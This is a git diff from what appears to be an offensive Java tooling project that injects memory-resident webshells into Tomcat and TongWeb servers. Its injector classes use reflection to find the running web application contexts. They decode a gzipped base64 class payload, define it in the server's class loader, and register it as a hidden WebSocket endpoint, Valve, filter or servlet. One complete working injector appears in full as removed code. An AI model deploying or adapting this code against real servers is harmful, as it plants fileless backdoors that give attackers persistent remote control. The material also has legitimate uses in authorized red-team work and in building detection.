Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -116,6 +77,31 @@ public class TomcatServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -55,47 +55,6 @@ public class TomcatUpgradeInjector {
System.out.println(msg); System.out.println(msg);
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -113,6 +72,35 @@ public class TomcatUpgradeInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -53,43 +53,6 @@ public class TomcatValveInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -107,6 +70,31 @@ public class TomcatValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
@@ -1,286 +0,0 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class TomcatWebSocketByPassInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public TomcatWebSocketByPassInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
clazz = defineShell(classLoader, getBase64String());
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
byte[] clazzByte = gzipDecompress(decodeBase64(base64));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
}
@SuppressWarnings("unchecked")
private void inject(Object context, Object obj) throws Exception {
Object servletContext = invokeMethod(context, "getServletContext", null, null);
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) {
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
}
if (container == null) {
throw new RuntimeException("container is null");
}
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
return;
}
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
Object pipeline = invokeMethod(context, "getPipeline", null, null);
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class<?> serverEndpointConfigClass;
Class<?> builderClass;
try {
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
} catch (ClassNotFoundException e) {
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
}
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
constructor.setAccessible(true);
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
Object endpointConfig = invokeMethod(o1, "build", null, null);
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -7,9 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.*;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -43,7 +41,7 @@ public class TomcatWebSocketInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -61,43 +59,6 @@ public class TomcatWebSocketInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -115,6 +76,31 @@ public class TomcatWebSocketInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -4,7 +4,6 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -44,7 +43,7 @@ public class TongWebFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -117,7 +116,7 @@ public class TongWebFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -150,28 +149,24 @@ public class TongWebFilterInjector {
String filterClassName = getClassName(); String filterClassName = getClassName();
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
Constructor<?> constructor; Constructor<?> constructor;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tongweb 7 // tongweb 7
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
try { try {
// tongweb 6 // tongweb 6
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap"); filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} catch (Exception e) { } catch (Exception e) {
// tongweb 8 // tongweb 8
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} }
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -179,13 +174,7 @@ public class TongWebFilterInjector {
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
constructor.setAccessible(true); constructor.setAccessible(true);
Object filterConfig = constructor.newInstance(context, filterDef); Object filterConfig = constructor.newInstance(context, filterDef);
@@ -232,58 +221,48 @@ public class TongWebFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) { }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;

Some files were not shown because too many files have changed in this diff Show More